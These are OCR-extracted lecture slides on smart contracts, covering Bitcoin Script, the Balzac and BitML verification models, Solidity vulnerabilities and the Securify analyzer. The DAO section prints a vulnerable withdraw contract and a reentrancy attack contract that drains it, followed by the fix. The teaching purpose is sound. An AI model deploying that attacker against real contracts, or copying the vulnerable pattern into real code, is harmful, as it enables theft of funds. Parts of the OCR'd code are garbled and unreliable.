Smart Contracts on
Blockchains

Models, Verification and Attacks



We will see

e Bitcoin
o Bitcoin scripting
o how to very contract using high level languages
m Balzac
m BITML
e Ethereum
o vulnerabilities in Ethereum contracts
m overview of several vulnerabilities
m DAO hack in detall
o how to analyze such contracts
m Securify



Smart Contracts on Bitcoin



Bitcoin Transactions

Most common case:

Input: which block output to spend, authentication
Output: value, who can spend it

input output input output

5, you must be Alice = e | am Alice 4, you must be Bob

/

UTXO (Unspent Transaction Output)



Bitcoin Transactions

What really happens:

Input: which block output to spend, unlocking script

Output: value, locking script

input

output

5, check you are Alice -

input

output

e prove | am Alice

4, check you are Bob

Pay-to-public-key-hash (P2PKH) Script




Bitcoin Transactions - in general

val1”, lockingScript1”

V'q

val2”, lockingScript2”

V4

input output

: 11
_ val1, lockingScript -
_ val2, lockingScript2 \ input output
_ ~e unlocking1 outl: ,
_ e unlocking2 out2: ,
input output

. ias _» unlocking3
_ val1’, lockingScript1 -

_e Unlocking4

input output /




Bitcoin Scripting Language

(reverse-polish notation stack-based execution language)
Example

23 OP_ADD 5 OP_EQUAL
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Bitcoin Scripting Language

(reverse-polish notation stack-based execution language)

Example
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Bitcoin Scripting Language

(reverse-polish notation stack-based execution language)

Example
unlocking script locking script
23 OP_ADD 5 OP_EQUAL

The system run: 2 3 OP_ADD 5 OP_EQUAL
... and check that true (and only true) is in the stack at the end
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Bitcoin Scripting Language - P2PKH

Unlocking script
<Alice Signature> <Alice Public Key>

Locking script
OP_DUP OP_HASH160 <Alice Public Key Hash> OP_EQUALVERIFY OP_CHECKSIG
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Bitcoin Scripting Language

e Cryptographic primitives

o OP_HASH160, OP_CHECKSIG, ...

e Time
o don’t append until Timelock
o Check Lock Time Verify in Script

e Multisignature
o N out of M singatures in Script

e Flow control
o |IF, ELSE, ENDIF

16



Verification of Bitcoin Contracts



High Level Languages

Difficult to reason on complex examples with the Script language

- Proposals for high level models

- More, less or equally expressive w.r.t. Script
- Compile in Bitcoin Script

- Allow some form of property verification

We will look at some of them through an example

18



Example - timed commitment

Alice (committer)
- commits to a secret with a deadline
- she will reveal the secret before the deadline
- otherwise she will pay a price to Bob

Bob (receiver)
- read and use the secret if it is revealed
- punish Alice if the secret is not revealed before deadline

19



Balzac - Transactions

e EXxpress Bitcoin transactions in readable way
e Allow to express protocols that uses such transactions

e (Can perform some sanity checks

20



Balzac - Transactions

// A’s view

const fee = 0.00113 BTC

const deadline = 2019-03-31
const kApub pubkey :03ff...c9c3
const kBpub pubkey:03ab5...clfb

transaction Commit(h,sigAc) {

input = FundsA: sigAc
output = this.input.value - fee:
fun(x,s:string) .
sha256(s) == h && versig(kApub;x)

|| checkDate deadline versig (kBpub;x)

Alice’s commit

Redeems FundsA

“I will reveal s s.t. sha256(s) = h
before

2019-03-31 and take my money back
OR Bob will get the money”

¥ Alice’s reveal

transaction Reveal(h,s:string,sigAr) {

input = Commit(h,_): sigAr s -
output = this.input.value - fee:
fun (x) versig (kApub;x)

Redeems Commit

Reveal s (sha256(s) = h checked by
locking script of Commit)

Unlocking script checks Alice spends

21



Balzac - Transactions

// A’s view

const fee = 0.00113 BTC

const deadline = 2019-03-31
const kApub = pubkey:03ff...c9c3
const kBpub = pubkey:03ab5...clfb

transaction Commit(h,sigAc) {
input = FundsA: sigAc
output = this.input.value
fun(x,s:string) .
sha256(s) == h && versig(kApub;x)
|| checkDate deadline versig (kBpub;x)

- fee:

Bob’s timeout
- Redeems Commit
- Unlocking script check Bob spends
- Timelock deadline (checked by
locking script of Commit)

// B’s view

const fee = 0.00113 BTC

const deadline = 2019-03-31

const kApub = pubkey:03ff...c9c3

const kBpub = pubkey:03ab5...clfb

const kB = key:cQtk...fYgZ // private key

transaction Commit (h,sigAc) {
// as in A’s view

}

transaction Reveal(h,s:string,sigAr) {
// as in A’s view

¥

transaction Timeout (h) {
input = Commit(h,_): sig(kB) _
output = this.input.value - fee:
fun (x) versig (kB;x)
absLock = date deadline

22



Balzac - Protocol

Actually we need a protocol using the transactions

Pp = put Commit(h,sigAc).B!h.put Reveal(h, s,sigAr)

Qg = A?x.ask Commit(x,_).Q’
Q' = ask Reveal(x,_,_) as T.Q(get_secret(T))
+ put Timeout(x). Qyok

Model

e System: parallel composition of the protocols of participants and blockchain
e Execution: computation on the process algebra
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BITML

e Explicitly speaks about contracts
e Contracts are advertised, signed and executed
e Compiles in Script

e Possible executions (traces) can be model checked with LTL
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BITML

Contract advertisement: {G}C
e precondition G
e contract C

G = A:!1Bex|A:secreta|B:!0Be@y

C

(reveal a.withdraw A)
+ (afterdeadline :withdraw B)

25



BITML

Contract advertisement: {G}C
e precondition G
e contract C

Contract requirement fulfillment: A[x > {G}C]
e userA
e contract advertisement {G}C

Contract execution:{C, v)
e contract C
e valuev

26



BITML

I' > T|{G]C

— I' | {G}C | {A:a#N} | Al# > {G}C]
— I' | {G}C | {A:a#N} | Al# > {G}C] | B[# > {G}C]
— I' | {G}C | {A:a#N} | Al# > {G}C] | B[# > {G}C]

— I' | {G}C | {A:a#N} | Al# > {G}C] | B[# > {G}C]

—

—

—

—

P~ S

| Alx > {G}C]

| Alx > {G}C] | B[y > {G]}C]
C,1B)y, | {A:a#N} | ¢

C,1B)x, | A:a#N | ¢
withdraw A, 1B)y, | A:a#N |t
A,1B)y, | A:a#N | t

(1)
(2)
(3)

(4)

(5)
(6)
(7)
(8)
(9)
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Comparison between models

Model Expressiveness  Abstraction Verification
level
Balzac = Bitcoin Set of transaction Basic type checking +
sanity checking
vy = Bitcoin Script Basic type checking
Simplicity > Bitcoin Script Type checking (with
simple types)
Uppaal > Bitcoin Set of transaction LTL model checking
+ TA
BitML < Bitcoin Contract LTL model checking
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Ethereum



Ethereum

Bitcoin is not for contracts...
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Ethereum

Bitcoin is not for contracts... Ethereum is for contracts!
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Ethereum

Bitcoin is not for contracts... Ethereum is for contracts!

Ethereum Virtual Machine executes bytecode
e A smart contract is a EVM program

Database with transactions and system state

32



Ethereum transactions

e Recipient (target ETH address)
e \alue (ETH to send)
e Data

Used for
e Payments
e Invocation of contracts
o a specific function
e Creation of contracts
o with a starting balance

. o Gas limit
. o Gas price

33



Ethereum accounts

e Externally Owned Accounts
o controlled by users

e Contract Accounts
o do what the program tells
o executed in the Ethereum Virtual Machine
o contracts can call other contracts
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Ethereum Bytecode

Turing completeness... but with limited resources
e Each instruction has a cost (in gas)
e Transactions specifies

o a limited amount of gas (gas limit)

o how many ETH he pays for gas (gas price)

Context of execution

e the contract state

e the caller transaction

e (limited view of the blockchain)

35



Ethereum contracts language

e EVM bytecode is difficult to use directly

e Several High Level Languages
Serpent

Solidity

Vyper

Bamboo

O O O O
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Ethereum contracts language

e EVM bytecode is difficult to use directly

e Several High Level Languages
Serpent

Solidity (—

Vyper

Bamboo

O O O O
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Solidity - an example

contract Owned {
address owner;

// Contract constructor: set owner

constructor() {
owner = msg.sender;

// Access control modifier
modifier onlyOwner {
require(msg.sender == owner);

—1!
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Solidity - an example

contract Mortal is Owned {
// Contract destructor
function destroy() public onlyOwner {
selfdestruct(owner);

39



Solidity - an example

contract Faucet is Mortal {

// Give out ether to anyone who asks

function withdraw(uint withdraw_amount) public {
// Limit withdrawal amount
require(withdraw_amount <= 0.1 ether);
// Send the amount to the address that requested it
msg.sender.transfer(withdraw_amount);

}

// Accept any incoming amount

receive () external payable {}

40



Solidity - an example

contract Token is Mortal {
Faucet _faucet;

constructor() {

_Ffaucet = (new Faucet).value(0.5 ether)();

function destroy() owneronly {
_faucet.destroy();

41



Solidity - an example

contract Token is Mortal {
Faucet _faucet;
constructor (address _f) {

_faucet = Faucet(_T);
_faucet.withdraw(0.1 ether);

42



Contract security

e Arithmetic over/underflow
o as usual must be taken into account
e Unexpected Eth
o assuming only functions can change the balance is a mistake
Delegatecall
External Contract Referencing (Type Flow)
Uninitialized Storage Pointers
Reentrancy
Denial of Service (DoS)
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DAO hack (2016 hard-fork, $50 million)

e Contract functions can send ETH to the caller
e This may cause a call to a function of the caller contract
e The attacker can exploit this

o malicious code calling back the vulnerable contract

call

sendEth
Contract ——— | Attacker

I T call

Note: Reentrancy is actually a well known problem in computer science




Reentrancy - DAO hack (the vulnerable contract)

contract EtherStore {

uint256 public withdrawallLimit = 1 ether;
mapping(address => uint256) public lastWithdrawTime;
mapping(address => uint256) public balances;

function depositFunds() external payable {
balances[msg.sender] += msg.value;

function withdrawFunds (uint256 _weiToWithdraw) public {
require(balances[msg.sender] >= _weiTowithdraw);
// 1limit the withdrawal
require(_weiToWithdraw <= withdrawallimit);
// 1limit the time allowed to withdraw
require(now >= lastWithdrawTime[msg.sender] + 1 weeks);
require(msg.sender.call.value(_weiToWithdraw)());
balances[msg.sender] -= _weiToWithdraw;
lastWithdrawTime[msg.sender] = now;
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Reentrancy - DAO hack (the attacker)

contract Attack {
EtherStore public etherStore;

// intialize the etherStore variable with the contract address
constructor (address _etherStoreAddress) {
etherStore = EtherStore(_etherStoreAddress);

function attackEtherStore() external payable {
// attack to the nearest ether
require(msg.value >= 1 ether);
// send eth to the depositFunds() function
etherStore.depositFunds.value(1l ether)();
// start the magic
etherStore.withdrawFunds(1l ether);

function collectEther() public {
msg.sender.transfer(this.balance);

// fallback function - where the magic happens
function () payable {
if (etherStore.balance > 1 ether) {
etherStore.withdrawFunds(1 ether);
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Reentrancy - DAO hack

function attackEtherStore() external payable {
// attack to the nearest ether
require(msg.value >= 1 ether);
// send eth to the depositFunds() function
etherStore.depositFunds.value(1l ether)();
// start the magic
etherStore.withdrawFunds(1l ether);

You deposit 1 eth
You withdraw 1 eth

Fine so far
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Reentrancy - DAO hack

function withdrawFunds (uint256 _weiToWithdraw) public {
require(balances[msg.sender] >= _weiToWithdraw);
// limit the withdrawal
require(_weiToWithdraw <= withdrawallLimit);
// 1limit the time allowed to withdraw
require(now >= lastWithdrawTime[msg.sender] + 1 weeks);
require(msg.sender.call.value(_weiToWithdraw)());
balances[msg.sender] -= _weiToWithdraw;
lastWithdrawTime[msg.sender] = now;

You withdraw 1 eth
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Reentrancy - DAO hack

function withdrawFunds (uint256 _weiToWithdraw) public {
require(balances[msg.sender] >= _weiToWithdraw); Qj?
// limit the withdrawal
require(_weiToWithdraw <= withdrawallLimit);
// 1limit the time allowed to withdraw
require(now >= lastWithdrawTime[msg.sender] + 1 weeks);
require(msg.sender.call.value(_weiToWithdraw)());
balances[msg.sender] -= _weiToWithdraw;
lastWithdrawTime[msg.sender] = now;

You withdraw 1 eth
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Reentrancy - DAO hack

function withdrawFunds (uint256 _weiToWithdraw) public {

require(balances[msg.sender] >= _weiToWithdraw); Qj?
// limit the withdrawal
require(_weiToWithdraw <= withdrawallLimit); Qf?

// 1limit the time allowed to withdraw

require(now >= lastWithdrawTime[msg.sender] + 1 weeks);
require(msg.sender.call.value(_weiToWithdraw)());
balances[msg.sender] -= _weiToWithdraw;
lastWithdrawTime[msg.sender] = now;

You withdraw 1 eth
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Reentrancy - DAO hack

You withdraw 1 eth

function withdrawFunds (uint256 _weiToWithdraw) public {
require(balances[msg.sender] >= _weiToWithdraw); Q59
// limit the withdrawal
require(_weiToWithdraw <= withdrawallLimit); Qj?
// 1limit the time allowed to withdraw
require(now >= lastWithdrawTime[msg.sender] + 1 weeks);<59
require(msg.sender.call.value(_weiToWithdraw)());
balances[msg.sender] -= _weiToWithdraw;
lastWithdrawTime[msg.sender] = now;
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Reentrancy - DAO hack

You withdraw 1 eth

function withdrawFunds (uint256 _weiToWithdraw) public {

require(balances[msg.sender] >= _weiToWithdraw); ij
// limit the withdrawal
require(_weiToWithdraw <= withdrawallLimit); Qf?

// 1limit the time allowed to withdraw )

require(now >= lastWithdrawTime[msg.sender] + 1 weeks); Qf} Fine so far
require(msg.sender.call.value(_weiToWithdraw)()); - fgllback of the attacker
balances[msg.sender] -= _weiToWithdraw;

lastWithdrawTime[msg.sender] = now;

Note: if fallback just take the money everything is fine!
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Reentrancy - DAO hack

The fallback function of the attacker

// fallback function - where the magic happens

function () payable {
if (etherStore.balance > 1 ether) {
etherStore.withdrawFunds(1 ether); === gnother call to withdrawFunds

3
}

Note:
e Another call to the same function
e The old one remains in the stack
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Reentrancy - DAO hack

Note: balances and lastWithdrawTime are not updated yet

function withdrawFunds (uint256 _weiToWithdraw) public { You withdraw 1 eth
require(balances[msg.sender] >= _weiToWithdraw); Q§9
// limit the withdrawal
require(_weiToWithdraw <= withdrawallLimit); pr

// limit the time allowed to withdraw

require(now >= lastWithdrawTime[msg.sender] + 1 weeks); Q§9
require(msg.sender.call.value(_weiToWithdraw)()); - fgllback of the attacker
balances[msg.sender] -= _weiToWithdraw;

lastWithdrawTime[msg.sender] = now;
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Reentrancy - DAO hack

// fallback function - where the magic happens

function () payable {
if (etherStore.balance > 1 ether) {
etherStore.withdrawFunds(1 ether);

}
3

The fallback function of the attacker

e Assume etherStore.balance is 1

e Just take the ethereum (the second one)

e And we return to the second instance of withdrawFunds
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Reentrancy - DAO hack

function withdrawFunds (uint256 _weiToWithdraw) public { You withdraw 1 eth
require(balances[msg.sender] >= _weiToWithdraw); Q§9
// limit the withdrawal
require(_weiToWithdraw <= withdrawallLimit); pr

// limit the time allowed to withdraw
require(now >= lastWithdrawTime[msg.sender] + 1 weeks); Q§9
require(msg.sender.call.value(_weiToWithdraw)()); - fgllback of the attacker
balances[msg.sender] -= _weiToWithdraw;
lastWithdrawTime[msg.sender] = now;

&K

e Balances[attacker] take 0
e LastWithdrawTime[attacker] take now
e \We go back to first instance of fallback and then to withdrawFunds
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Reentrancy - DAO hack

function withdrawFunds (uint256 _weiToWithdraw) public { You withdraw 1 eth
require(balances[msg.sender] >= _weiToWithdraw); Q§9
// limit the withdrawal
require(_weiToWithdraw <= withdrawallLimit); pr

// limit the time allowed to withdraw
require(now >= lastWithdrawTime[msg.sender] + 1 weeks); Q§9
require(msg.sender.call.value(_weiToWithdraw)()); - fgllback of the attacker
balances[msg.sender] -= _weiToWithdraw;
lastWithdrawTime[msg.sender] = now;

&K

e Balances|attacker] take -1 (more or less)
e LastWithdrawTime[attacker] take now
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Reentrancy - DAO hack

Solution
e Update the variables before calling the external code
or

e Use mutex
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Denial of Service (DoS)

e \When a user can make a contract inoperable
e Different possible sources:
o Cost of the computation depends on input of the users
m Loop through externally manipulated mappings/arrays
e Contract loops on an array of subscribed users
e Any user can subscribe
e Subscribing lots of users can make the cost of running the
contract higher than the gas limit of the contract
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Automated Security Analysis of
Ethereum Contracts



Automated Security Analysis

W.r.t. a security property,
e.g. “no state changes after call instructions”

Assume we have safe [ and unsafe A calls:
- can we find all the safe\unsafe calls?

m A
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Automated Security Analysis

W.r.t. a security property,
e.g. “no state changes after call instructions”

Assume we have safe [l and unsafe A calls:
- can we find all the safe\unsafe calls? NO! (Turing completeness)

= A
] AA
]

H A
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Automated Security Analysis

e Bug hunting approach
o You try to find problems
o If you can’t just assume it is safe (you may miss issues)
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Automated Security Analysis

e Bug hunting approach

o You try to find problems

o If you can’t just assume it is safe (you may miss issues)
e New approach: Securify

o If sure it is problematic — error

o If sure it is safe — ok

o otherwise — warning
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Securify

often security properties can be expressed on the data-flow graph

e Given a security property, you must define two patterns
o compliance pattern (pc): implies property
o violation pattern (pv): implies property negation

e Securify check this patterns
o contract dependency graph — semantic information in Datalog
o check pc and pv — report violation, compliance and warning
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Securify

00: push 0x04
02: dataload
03: push 08
05: jump

06: jumpdest
Q7S top

08: jumpdest
09: push 0x00
0B: sload

0C: push 0x00
OE: sstore
OF: jump

Parsed EVM bytecode

(1)

// entry

11 a =4

12 b = dataload(a)
13 ABI_9DA8(b)

14 stop()

// method

ABI_9DA8(b) {
15 ¢ =0
// write owner
16 sstore(c, b);
}

Decompiled code

Y

(2)

MustFollow(1l1, 12)
MayDepOn(a, const)
MayDepOn(b, dataload)
Eq(c, ©)

o

Semantic facts (3)

»

some sstore(L,X,_).
-~MayDepOn(X, caller)
A-MayDepOn(L, caller)

Restricted write violation pattern

// entry

11 a=4

12 b = dataload(a)
13 ABI_9DA8(b)

14 stop()

// method
ABI_9DA8(b) {
15 ¢ =0
// write owner
16 sstore(c, b);
}

Matched pattern
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Securify - property workflow

1. Original security property P
2. Data-flow graph property P’ s.t.
V contract C.C=Piff C= P’
3. Patterns in the domain-specific language of Securify
e Compliance pattern (pc) s.t.
m V contractC.if C+=pcthen C=P’
e Violation pattern (pv) s.t.
m V contractC.if C+=vcthen C =P
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Securify language for properties

Properties speak about
e flow-dependency predicates
e data-dependency predicates

= instr(L,Y,X,...,X) | Eq(X,T) | DetBUX,T)
|  MayDepOn(X,T) | MayFollow(L, L) | MustFollow(L, L)
|  Follom(L,L) | AX.¢ | AL.o | AT.0 | m0 | ¢ A ¢

¢
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Example - DAO vulnerability

1. Property P: no state changes after the call instructions

2. Property P’: for all traces t, the storage does not change in the
interval that start just before any call instruction and ends when the
trace completes

e pc: no write mayFollow a call instruction

Vv call(L1, , ). 73 sstore(L2, , ). mayFollow(L2, L1)
e pv: a write mustFollow a call instruction

3 call(L1, , ). 3 sstore(L2, , ). mustFollow(L2, L1)
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Encoded properties

Property Type Security Pattern
LQ: Ether compliance all stop(Ly). some goto(Ly, X, L3). X = callvalue A Follow(La,L4) A L3 # Lg A MustFollow(L4, L1)
liquidity compliance  some call(L1, _, _, Amount).Amount # 0 V DetBy(Amount, data)
violation (some stop(L). =MayDepOn(L, callvalue)) A (allcall(_, _,_, Amount). Amount = 0)
NW: No writes compliance all call(Ly, _, _, ). all sstore(Ly, _, _). "MayFollow(L1, Ly)
after call violation some call(L1, _, _,_). some sstore(La, _, _). MustFollow(L1, L2)
RW: Restricted compliance all sstore(_, X, _). DetBy(X, caller)
write violation some sstore(L1, X, _). "MayDepOn(X, caller) A =MayDepOn(L1, caller)
RT: Restricted compliance all call(_, _, _, Amount). Amount = 0
transfer violation some call(Ly, _, _, Amount). DetBy{Amount, data) A ~MayDepOn(L, caller) A ~MayDepOn(L,, data)
HE: Handled compliance all call(Ly,Y,_,_). some goto(La, X, _). MustFollow(L1,Ly) A DetBY(X,Y)
exception violation some call(Ly, Y, _, ). all goto(Ly, X, _). MayFollow(L1, Ly) = —~MayDepOn(X,Y)
TOD: Transaction compliance all call(_, _, _, Amount). =MayDepOn(Amount, sload) A =MayDepOn(Amount,balance)
ordering violation some call(_, _, _, Amount). some sload(_, Y, X1). some sstore(_, Xo, ). DetBy(Amount,Y) A X1 = X2A
dependency isConst(X1)
VA: Validated compliance all sstore(L, _, X). MayDepOn(X, arg)
arguments = (some goto(Ly, Y, ). MustFollow(Ly, L1) A DetBy(Y, arg))
violation some sstore(Ly, _, X). DetB)X, arg)

= —(some goto(Lz, Y, ). MayFollow(Lz, L1) A MayDepOn(Y, arg)) 70




Conclusions

e \ery different contexts for smart contracts

e \ery different languages for smart contracts

e Critical - lots of money may be involved

e Error prone - attacker view everything and has lots of options
e Problems are not peculiar

e Standard solutions and techniques can be successfully applied
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